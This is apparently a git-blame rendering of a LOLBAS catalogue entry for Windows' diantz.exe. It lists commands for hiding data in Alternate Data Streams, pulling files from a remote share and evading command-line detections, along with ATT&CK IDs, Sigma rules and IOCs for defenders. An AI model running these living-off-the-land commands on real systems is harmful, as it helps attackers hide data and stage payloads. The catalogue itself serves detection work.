2020-08-08 14:09:53 +02:00
|
|
|
---
|
2020-08-24 09:46:09 +02:00
|
|
|
Name: Diantz.exe
|
2020-08-08 14:09:53 +02:00
|
|
|
Description: Binary that package existing files into a cabinet (.cab) file
|
2024-08-17 23:02:55 +02:00
|
|
|
Author: Tamir Yehuda
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2020-08-08
|
2020-08-08 14:09:53 +02:00
|
|
|
Commands:
|
|
|
|
- Command: diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
|
|
|
|
Description: Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
|
2021-01-10 16:04:52 +01:00
|
|
|
Usecase: Hide data compressed into an Alternate Data Stream.
|
2020-08-08 14:09:53 +02:00
|
|
|
Category: ADS
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2020-08-08 14:09:53 +02:00
|
|
|
OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Type: Compression
|
2020-08-08 14:09:53 +02:00
|
|
|
- Command: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
|
|
|
|
Description: Download and compress a remote file and store it in a cab file on local machine.
|
2021-01-10 16:04:52 +01:00
|
|
|
Usecase: Download and compress into a cab file.
|
2020-08-08 14:09:53 +02:00
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2020-09-03 10:28:49 +02:00
|
|
|
OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Type: Compression
|
2024-08-17 23:02:55 +02:00
|
|
|
- Command: diantz /f directives.ddf
|
|
|
|
Description: Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
|
|
|
|
Usecase: Bypass command-line based detections
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1036
|
|
|
|
OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
|
|
|
|
Tags:
|
|
|
|
- Type: Compression
|
2020-08-08 14:09:53 +02:00
|
|
|
Full_Path:
|
|
|
|
- Path: c:\windows\system32\diantz.exe
|
|
|
|
- Path: c:\windows\syswow64\diantz.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
|
|
|
- Code:
|
|
|
|
Detection:
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml
|
2020-08-08 14:09:53 +02:00
|
|
|
- IOC: diantz storing data into alternate data streams.
|
|
|
|
- IOC: diantz getting a file from a remote machine or the internet.
|
|
|
|
Resources:
|
|
|
|
- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz
|
2024-08-17 23:02:55 +02:00
|
|
|
- Link: https://ss64.com/nt/makecab-directives.html
|
2020-08-08 14:09:53 +02:00
|
|
|
Acknowledgement:
|
|
|
|
- Person: Tamir Yehuda
|
2020-08-24 09:46:09 +02:00
|
|
|
Handle: '@tim8288'
|
2020-08-08 14:09:53 +02:00
|
|
|
- Person: Hai Vaknin
|
2020-08-24 09:46:09 +02:00
|
|
|
Handle: '@vakninhai'
|